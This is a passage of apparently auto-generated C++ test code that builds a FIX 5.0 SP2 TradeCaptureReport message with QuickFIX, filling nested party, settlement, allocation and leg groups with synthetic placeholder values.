MiscFeeAmt_33.setString(\"17188831\");\nset_field(noMiscFees_1_1_0, MiscFeeAmt_33, MiscFeesGrp_NoMiscFees_33);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeBasis{2}, MiscFeesGrp_NoMiscFees_33);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeCurr{\"GBP\"}, MiscFeesGrp_NoMiscFees_33);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeType{\"STRING_13\"}, MiscFeesGrp_NoMiscFees_33);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_33);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_1.addGroup(noMiscFees_1_1_0);\n    }\n    // Parties\n    // Group Parties.NoPartyIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs noPartyIDs_1_1_0;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_152;\n      set_field(noPartyIDs_1_1_0, FIX::PartyID{\"STRING_175095163\"}, Parties_NoPartyIDs_152);\n      set_field(noPartyIDs_1_1_0, FIX::PartyIDSource{'5'}, Parties_NoPartyIDs_152);\n      set_field(noPartyIDs_1_1_0, FIX::PartyRole{64}, Parties_NoPartyIDs_152);\n      all_values.push_back(Parties_NoPartyIDs_152);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_0_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_301;\n        set_field(noPartySubIDs_1_0_2_0, FIX::PartySubID{\"STRING_2103529176\"}, PtysSubGrp_NoPartySubIDs_301);\n        set_field(noPartySubIDs_1_0_2_0, FIX::PartySubIDType{7}, PtysSubGrp_NoPartySubIDs_301);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_301);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_0.addGroup(noPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_0_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_302;\n        set_field(noPartySubIDs_1_0_2_1, FIX::PartySubID{\"STRING_24391769\"}, PtysSubGrp_NoPartySubIDs_302);\n        set_field(noPartySubIDs_1_0_2_1, FIX::PartySubIDType{12}, PtysSubGrp_NoPartySubIDs_302);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_302);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_0.addGroup(noPartySubIDs_1_0_2_1);\n      }\n      noSides_0_1.addGroup(noPartyIDs_1_1_0);\n    }\n    // SettlDetails\n    // Group SettlDetails.NoSettlDetails\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails noSettlDetails_1_1_0;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_8;\n      set_field(noSettlDetails_1_1_0, FIX::SettlObligSource{'2'}, SettlDetails_NoSettlDetails_8);\n      all_values.push_back(SettlDetails_NoSettlDetails_8);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_52;\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyID{\"STRING_1161166893\"}, SettlParties_NoSettlPartyIDs_52);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_52);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyRole{778128875}, SettlParties_NoSettlPartyIDs_52);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_52);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_103;\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubID{\"STRING_1097373892\"}, SettlPtysSubGrp_NoSettlPartySubIDs_103);\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubIDType{1756869010}, SettlPtysSubGrp_NoSettlPartySubIDs_103);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_103);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_104;\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubID{\"STRING_1496520847\"}, SettlPtysSubGrp_NoSettlPartySubIDs_104);\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubIDType{1828612550}, SettlPtysSubGrp_NoSettlPartySubIDs_104);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_104);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_1);\n        }\n        noSettlDetails_1_1_0.addGroup(noSettlPartyIDs_1_0_2_0);\n      }\n      noSides_0_1.addGroup(noSettlDetails_1_1_0);\n    }\n    // SideTrdRegTS\n    // Group SideTrdRegTS.NoSideTrdRegTS\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoSideTrdRegTS noSideTrdRegTS_1_1_0;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_1;\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(7, 11, 15, 23, 10, 2003)}, SideTrdRegTS_NoSideTrdRegTS_1);\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestampSrc{\"STRING_1884415124\"}, SideTrdRegTS_NoSideTrdRegTS_1);\n      set_field(noSideTrdRegTS_1_1_0, FIX::SideTrdRegTimestampType{307677293}, SideTrdRegTS_NoSideTrdRegTS_1);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_1);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_1.addGroup(noSideTrdRegTS_1_1_0);\n    }\n    // Stipulations\n    // Group Stipulations.NoStipulations\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoStipulations noStipulations_1_1_0;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_71;\n      set_field(noStipulations_1_1_0, FIX::StipulationType{\"STRING_PURPOSE\"}, Stipulations_NoStipulations_71);\n      set_field(noStipulations_1_1_0, FIX::StipulationValue{\"STRING_482772456\"}, Stipulations_NoStipulations_71);\n      all_values.push_back(Stipulations_NoStipulations_71);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_1.addGroup(noStipulations_1_1_0);\n    }\n    // TradeReportOrderDetail\n    multiset<string> TradeReportOrderDetail_1;\n    set_field(noSides_0_1, FIX::BookingType{0}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::ClOrdID{\"STRING_1395702798\"}, TradeReportOrderDetail_1);\n    FIX::CumQty CumQty_4;\n    CumQty_4.setString(\"10207058\");\nset_field(noSides_0_1, CumQty_4, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::ExecInst{\"MULTIPLECHARVALUE_p\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::ExpireTime{FIX::UTCTIMESTAMP(16, 44, 17, 26, 4, 2014)}, TradeReportOrderDetail_1);\n    FIX::LeavesQty LeavesQty_3;\n    LeavesQty_3.setString(\"14818153\");\nset_field(noSides_0_1, LeavesQty_3, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::ListID{\"STRING_1233723410\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::LotType{'4'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrdStatus{'9'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrdType{'6'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrderCapacity{'G'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrderID{\"STRING_112834461\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrderInputDevice{\"STRING_1971671804\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrderRestrictions{\"MULTIPLECHARVALUE_2\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrigCustOrderCapacity{2}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::OrigOrdModTime{FIX::UTCTIMESTAMP(17, 4, 9, 16, 5, 2014)}, TradeReportOrderDetail_1);\n    FIX::Price Price_26;\n    Price_26.setString(\"14267798\");\nset_field(noSides_0_1, Price_26, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::RefOrdIDReason{2}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::RefOrderID{\"STRING_1287784959\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::RefOrderIDSource{'0'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::SecondaryClOrdID{\"STRING_54263334\"}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::SecondaryOrderID{\"STRING_161007198\"}, TradeReportOrderDetail_1);\n    FIX::StopPx StopPx_10;\n    StopPx_10.setString(\"15836023\");\nset_field(noSides_0_1, StopPx_10, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::TimeInForce{'9'}, TradeReportOrderDetail_1);\n    set_field(noSides_0_1, FIX::TransBkdTime{FIX::UTCTIMESTAMP(17, 28, 16, 12, 7, 2009)}, TradeReportOrderDetail_1);\n    all_values.push_back(TradeReportOrderDetail_1);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // DisplayInstruction\n    multiset<string> DisplayInstruction_10;\n    FIX::DisplayHighQty DisplayHighQty_10;\n    DisplayHighQty_10.setString(\"20111956\");\nset_field(noSides_0_1, DisplayHighQty_10, DisplayInstruction_10);\n    FIX::DisplayLowQty DisplayLowQty_10;\n    DisplayLowQty_10.setString(\"3071618\");\nset_field(noSides_0_1, DisplayLowQty_10, DisplayInstruction_10);\n    set_field(noSides_0_1, FIX::DisplayMethod{'4'}, DisplayInstruction_10);\n    FIX::DisplayMinIncr DisplayMinIncr_10;\n    DisplayMinIncr_10.setString(\"7068207\");\nset_field(noSides_0_1, DisplayMinIncr_10, DisplayInstruction_10);\n    FIX::DisplayQty DisplayQty_10;\n    DisplayQty_10.setString(\"3249057\");\nset_field(noSides_0_1, DisplayQty_10, DisplayInstruction_10);\n    set_field(noSides_0_1, FIX::DisplayWhen{'1'}, DisplayInstruction_10);\n    FIX::RefreshQty RefreshQty_10;\n    RefreshQty_10.setString(\"5310089\");\nset_field(noSides_0_1, RefreshQty_10, DisplayInstruction_10);\n    FIX::SecondaryDisplayQty SecondaryDisplayQty_10;\n    SecondaryDisplayQty_10.setString(\"15993486\");\nset_field(noSides_0_1, SecondaryDisplayQty_10, DisplayInstruction_10);\n    all_values.push_back(DisplayInstruction_10);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // OrderQtyData\n    multiset<string> OrderQtyData_28;\n    FIX::CashOrderQty CashOrderQty_28;\n    CashOrderQty_28.setString(\"17441792\");\nset_field(noSides_0_1, CashOrderQty_28, OrderQtyData_28);\n    FIX::OrderPercent OrderPercent_28;\n    OrderPercent_28.setString(\"8.320000\");\nset_field(noSides_0_1, OrderPercent_28, OrderQtyData_28);\n    FIX::OrderQty OrderQty_37;\n    OrderQty_37.setString(\"19267862\");\nset_field(noSides_0_1, OrderQty_37, OrderQtyData_28);\n    set_field(noSides_0_1, FIX::RoundingDirection{'0'}, OrderQtyData_28);\n    FIX::RoundingModulus RoundingModulus_28;\n    RoundingModulus_28.setString(\"14034060\");\nset_field(noSides_0_1, RoundingModulus_28, OrderQtyData_28);\n    all_values.push_back(OrderQtyData_28);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // TrdAllocGrp\n    // Group TrdAllocGrp.NoAllocs\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoAllocs noAllocs_1_1_0;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_2;\n      set_field(noAllocs_1_1_0, FIX::AllocAccount{\"STRING_78174614\"}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::AllocAcctIDSource{60934895}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::AllocClearingFeeIndicator{\"STRING_382768066\"}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::AllocCustomerCapacity{\"STRING_884218799\"}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::AllocMethod{3}, TrdAllocGrp_NoAllocs_2);\n      FIX::AllocQty AllocQty_46;\n      AllocQty_46.setString(\"8361945\");\nset_field(noAllocs_1_1_0, AllocQty_46, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::AllocSettlCurrency{\"GBP\"}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::IndividualAllocID{\"STRING_272313210\"}, TrdAllocGrp_NoAllocs_2);\n      set_field(noAllocs_1_1_0, FIX::SecondaryIndividualAllocID{\"STRING_655734364\"}, TrdAllocGrp_NoAllocs_2);\n      all_values.push_back(TrdAllocGrp_NoAllocs_2);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_0_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_48;\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyID{\"STRING_594190907\"}, NestedParties2_NoNested2PartyIDs_48);\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyIDSource{'8'}, NestedParties2_NoNested2PartyIDs_48);\n        set_field(noNested2PartyIDs_1_0_2_0, FIX::Nested2PartyRole{1374016694}, NestedParties2_NoNested2PartyIDs_48);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_48);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_93;\n          set_field(noNested2PartySubIDs_1_0_0_3_0, FIX::Nested2PartySubID{\"STRING_465201642\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_93);\n          set_field(noNested2PartySubIDs_1_0_0_3_0, FIX::Nested2PartySubIDType{1514016798}, NstdPtys2SubGrp_NoNested2PartySubIDs_93);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_93);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_94;\n          set_field(noNested2PartySubIDs_1_0_0_3_1, FIX::Nested2PartySubID{\"STRING_1235375135\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_94);\n          set_field(noNested2PartySubIDs_1_0_0_3_1, FIX::Nested2PartySubIDType{772363512}, NstdPtys2SubGrp_NoNested2PartySubIDs_94);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_94);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_95;\n          set_field(noNested2PartySubIDs_1_0_0_3_2, FIX::Nested2PartySubID{\"STRING_2085722461\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_95);\n          set_field(noNested2PartySubIDs_1_0_0_3_2, FIX::Nested2PartySubIDType{1942195903}, NstdPtys2SubGrp_NoNested2PartySubIDs_95);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_95);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_0.addGroup(noNested2PartySubIDs_1_0_0_3_2);\n        }\n        noAllocs_1_1_0.addGroup(noNested2PartyIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_0_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_49;\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyID{\"STRING_1097269260\"}, NestedParties2_NoNested2PartyIDs_49);\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyIDSource{'6'}, NestedParties2_NoNested2PartyIDs_49);\n        set_field(noNested2PartyIDs_1_0_2_1, FIX::Nested2PartyRole{325721179}, NestedParties2_NoNested2PartyIDs_49);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_49);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_0_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_96;\n          set_field(noNested2PartySubIDs_1_0_1_3_0, FIX::Nested2PartySubID{\"STRING_219474515\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_96);\n          set_field(noNested2PartySubIDs_1_0_1_3_0, FIX::Nested2PartySubIDType{1231792011}, NstdPtys2SubGrp_NoNested2PartySubIDs_96);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_96);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_0_2_1.addGroup(noNested2PartySubIDs_1_0_1_3_0);\n        }\n        noAllocs_1_1_0.addGroup(noNested2PartyIDs_1_0_2_1);\n      }\n      noSides_0_1.addGroup(noAllocs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoAllocs noAllocs_1_1_1;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_3;\n      set_field(noAllocs_1_1_1, FIX::AllocAccount{\"STRING_328436866\"}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::AllocAcctIDSource{1262185697}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::AllocClearingFeeIndicator{\"STRING_487714404\"}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::AllocCustomerCapacity{\"STRING_1431908726\"}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_3);\n      FIX::AllocQty AllocQty_47;\n      AllocQty_47.setString(\"5486493\");\nset_field(noAllocs_1_1_1, AllocQty_47, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::AllocSettlCurrency{\"JPY\"}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::IndividualAllocID{\"STRING_1897369154\"}, TrdAllocGrp_NoAllocs_3);\n      set_field(noAllocs_1_1_1, FIX::SecondaryIndividualAllocID{\"STRING_503387701\"}, TrdAllocGrp_NoAllocs_3);\n      all_values.push_back(TrdAllocGrp_NoAllocs_3);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_1_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_50;\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyID{\"STRING_1259612559\"}, NestedParties2_NoNested2PartyIDs_50);\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyIDSource{'7'}, NestedParties2_NoNested2PartyIDs_50);\n        set_field(noNested2PartyIDs_1_1_2_0, FIX::Nested2PartyRole{1671311960}, NestedParties2_NoNested2PartyIDs_50);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_50);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_97;\n          set_field(noNested2PartySubIDs_1_1_0_3_0, FIX::Nested2PartySubID{\"STRING_1369891819\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_97);\n          set_field(noNested2PartySubIDs_1_1_0_3_0, FIX::Nested2PartySubIDType{350574765}, NstdPtys2SubGrp_NoNested2PartySubIDs_97);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_97);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_0.addGroup(noNested2PartySubIDs_1_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_98;\n          set_field(noNested2PartySubIDs_1_1_0_3_1, FIX::Nested2PartySubID{\"STRING_1054493864\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_98);\n          set_field(noNested2PartySubIDs_1_1_0_3_1, FIX::Nested2PartySubIDType{594071311}, NstdPtys2SubGrp_NoNested2PartySubIDs_98);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_98);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_0.addGroup(noNested2PartySubIDs_1_1_0_3_1);\n        }\n        noAllocs_1_1_1.addGroup(noNested2PartyIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_1_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_51;\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyID{\"STRING_815776407\"}, NestedParties2_NoNested2PartyIDs_51);\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyIDSource{'4'}, NestedParties2_NoNested2PartyIDs_51);\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyRole{1829446446}, NestedParties2_NoNested2PartyIDs_51);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_51);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_99;\n          set_field(noNested2PartySubIDs_1_1_1_3_0, FIX::Nested2PartySubID{\"STRING_359265827\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_99);\n          set_field(noNested2PartySubIDs_1_1_1_3_0, FIX::Nested2PartySubIDType{1624158701}, NstdPtys2SubGrp_NoNested2PartySubIDs_99);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_99);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_1.addGroup(noNested2PartySubIDs_1_1_1_3_0);\n        }\n        noAllocs_1_1_1.addGroup(noNested2PartyIDs_1_1_2_1);\n      }\n      noSides_0_1.addGroup(noAllocs_1_1_1);\n    }\n    msg.addGroup(noSides_0_1);\n  }\n  // TrdInstrmtLegGrp\n  // Group TrdInstrmtLegGrp.NoLegs\n  {\n    FIX50SP2::TradeCaptureReport::NoLegs noLegs_0_0;\n    // TrdInstrmtLegGrp.NoLegs\n    multiset<string> TrdInstrmtLegGrp_NoLegs_0;\n    FIX::LegCalculatedCcyLastQty LegCalculatedCcyLastQty_2;\n    LegCalculatedCcyLastQty_2.setString(\"9820447\");\nset_field(noLegs_0_0, LegCalculatedCcyLastQty_2, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegCoveredOrUncovered{1949879880}, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegCurrencyRatio LegCurrencyRatio_6;\n    LegCurrencyRatio_6.setString(\"10870597\");\nset_field(noLegs_0_0, LegCurrencyRatio_6, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegDividendYield LegDividendYield_6;\n    LegDividendYield_6.setString(\"92.790000\");\nset_field(noLegs_0_0, LegDividendYield_6, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegExecInst{\"MULTIPLECHARVALUE_1034188244\"}, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegGrossTradeAmt LegGrossTradeAmt_2;\n    LegGrossTradeAmt_2.setString(\"14154966\");\nset_field(noLegs_0_0, LegGrossTradeAmt_2, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegLastForwardPoints LegLastForwardPoints_2;\n    LegLastForwardPoints_2.setString(\"3162213\");\nset_field(noLegs_0_0, LegLastForwardPoints_2, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegLastPx LegLastPx_2;\n    LegLastPx_2.setString(\"15219026\");\nset_field(noLegs_0_0, LegLastPx_2, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegLastQty LegLastQty_2;\n    LegLastQty_2.setString(\"6999217\");\nset_field(noLegs_0_0, LegLastQty_2, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegNumber{1656581640}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegPositionEffect{'2'}, TrdInstrmtLegGrp_NoLegs_0);\n    FIX::LegQty LegQty_21;\n    LegQty_21.setString(\"3671148\");\nset_field(noLegs_0_0, LegQty_21, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegRefID{\"STRING_1733677102\"}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegReportID{\"STRING_1820437455\"}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegSettlCurrency{\"USD\"}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, FIX::LegSettlDate{\"LOCALMKTDATE_932566366\"}, TrdInstrmtLegGrp_NoLegs_0);\n    set_field(noLegs_0_0, 